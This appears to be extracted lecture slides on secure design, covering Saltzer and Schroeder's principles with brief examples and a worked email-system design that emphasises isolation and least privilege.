Designing for Security

● Key principles from Saltzer & Schroeder
– Economy of mechanism – keep things simple for easy inspection
– Fail safe defaults – require permission rather than exclusion
– Complete mediation – every access of every object should check authority
– Open design – no security through obscurity
– Separation of privilege – different conditions for different rights (check all)
– Least privilege – each actor should have fewest privileges necessary for a job
– Least common mechanism – avoid shared mechanisms (single PoF & channel)
– Psychological acceptability – make policies that people will use

https://us-cert.cisa.gov/bsi/articles/knowledge/principles/economy-of-mechanism


  

Designing for Security

● Key principles from Saltzer & Schroeder
– Economy of mechanism – keep things simple for easy inspection
– Fail safe defaults – require permission rather than exclusion
– Complete mediation – every access of every object should check authority
– Open design – no security through obscurity
– Separation of privilege – different conditions for different rights (check all)
– Least privilege – each actor should have fewest privileges necessary for a job
– Least common mechanism – avoid shared mechanisms (single PoF & channel)
– Psychological acceptability – make policies that people will use

Simple and clear code is a security mandate.
Using existing code with limited features is preferred.

https://us-cert.cisa.gov/bsi/articles/knowledge/principles/economy-of-mechanism


  

Designing for Security

● Key principles from Saltzer & Schroeder
– Economy of mechanism – keep things simple for easy inspection
– Fail safe defaults – require permission rather than exclusion
– Complete mediation – every access of every object should check authority
– Open design – no security through obscurity
– Separation of privilege – different conditions for different rights (check all)
– Least privilege – each actor should have fewest privileges necessary for a job
– Least common mechanism – avoid shared mechanisms (single PoF & channel)
– Psychological acceptability – make policies that people will use

Simple and clear code is a security mandate.
Using existing code with limited features is preferred.
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Designing for Security

● Key principles from Saltzer & Schroeder
– Economy of mechanism – keep things simple for easy inspection
– Fail safe defaults – require permission rather than exclusion
– Complete mediation – every access of every object should check authority
– Open design – no security through obscurity
– Separation of privilege – different conditions for different rights (check all)
– Least privilege – each actor should have fewest privileges necessary for a job
– Least common mechanism – avoid shared mechanisms (single PoF & channel)
– Psychological acceptability – make policies that people will use

alternatively: fail into a secure policy.

Suppose the network is down when
you try to complete a credit card transaction.

Does your purchase go through?

https://us-cert.cisa.gov/bsi/articles/knowledge/principles/failing-securely
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Designing for Security

● Key principles from Saltzer & Schroeder
– Economy of mechanism – keep things simple for easy inspection
– Fail safe defaults – require permission rather than exclusion
– Complete mediation – every access of every object should check authority
– Open design – no security through obscurity
– Separation of privilege – different conditions for different rights (check all)
– Least privilege – each actor should have fewest privileges necessary for a job
– Least common mechanism – avoid shared mechanisms (single PoF & channel)
– Psychological acceptability – make policies that people will use

This is made harder by timing & identity.

TOCTOU attacks (races on incomplete mediation)
Canonicalization attacks

https://us-cert.cisa.gov/bsi/articles/knowledge/principles/complete-mediation
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Designing for Security

● Key principles from Saltzer & Schroeder
– Economy of mechanism – keep things simple for easy inspection
– Fail safe defaults – require permission rather than exclusion
– Complete mediation – every access of every object should check authority
– Open design – no security through obscurity
– Separation of privilege – different conditions for different rights (check all)
– Least privilege – each actor should have fewest privileges necessary for a job
– Least common mechanism – avoid shared mechanisms (single PoF & channel)
– Psychological acceptability – make policies that people will use

In a business setting:
“Checks over $75k require two signatures”

separate roles / accounts for different tasks
separate components for tasks by a central authority

separate proof of authority
...

https://us-cert.cisa.gov/bsi/articles/knowledge/principles/separation-of-privilege
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Designing for Security

● Key principles from Saltzer & Schroeder
– Economy of mechanism – keep things simple for easy inspection
– Fail safe defaults – require permission rather than exclusion
– Complete mediation – every access of every object should check authority
– Open design – no security through obscurity
– Separation of privilege – different conditions for different rights (check all)
– Least privilege – each actor should have fewest privileges necessary for a job
– Least common mechanism – avoid shared mechanisms (single PoF & channel)
– Psychological acceptability – make policies that people will use

We just saw how this applies for hardware!
What were the challenges there?

https://us-cert.cisa.gov/bsi/articles/knowledge/principles/least-common-mechanism
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Designing for Security

● Key principles from Saltzer & Schroeder
– Economy of mechanism – keep things simple for easy inspection
– Fail safe defaults – require permission rather than exclusion
– Complete mediation – every access of every object should check authority
– Open design – no security through obscurity
– Separation of privilege – different conditions for different rights (check all)
– Least privilege – each actor should have fewest privileges necessary for a job
– Least common mechanism – avoid shared mechanisms (single PoF & channel)
– Psychological acceptability – make policies that people will use

This turns out to be exceedingly challenging.
Usable security has been a growing area.

“Passwords should be changed every month to improve security”

https://us-cert.cisa.gov/bsi/articles/knowledge/principles/psychological-acceptability


  

Designing for Security

● Key principles from Saltzer & Schroeder
– Economy of mechanism – keep things simple for easy inspection
– Fail safe defaults – require permission rather than exclusion
– Complete mediation – every access of every object should check authority
– Open design – no security through obscurity
– Separation of privilege – different conditions for different rights (check all)
– Least privilege – each actor should have fewest privileges necessary for a job
– Least common mechanism – avoid shared mechanisms (single PoF & channel)
– Psychological acceptability – make policies that people will use

● Pfleeger & Lawrence
– Easiest penetration, weakest link, adequate protection, & effectiveness
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● What might a good design look like in practice?
– Let us consider developing an email system.

Receive mail via SMTP and/or other protocols.
Send mail via SMTP and/or other protocols.
Forward mail as needed.
Allow users to write  send new emails.

Avoid unintended actions.
Avoid abuse / sending spam.

Focus on:
isolation/separation
least privilege



  

Designing for Security

● What might a good design look like in practice?
– Let us consider developing an email system.

Receive mail via SMTP and/or other protocols.
Send mail via SMTP and/or other protocols.
Forward mail as needed.
Allow users to write  send new emails.

Avoid unintended actions.
Avoid abuse / sending spam.

● Careful design can produce a system intrinsically more robust. [Hafiz 2004]

http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.106.3267&rep=rep1&type=pdf


  

Designing for Security

● Regardless of your domain, designing for security applies
– Embedded systems
– Distributed systems
– Web applications
– Data science
– ...



  

Testing for Security

● [And now for an external resource]



  

Future Directions

● Automating isolation guarantees in adversarial environments
● Making privilege specification & management easier
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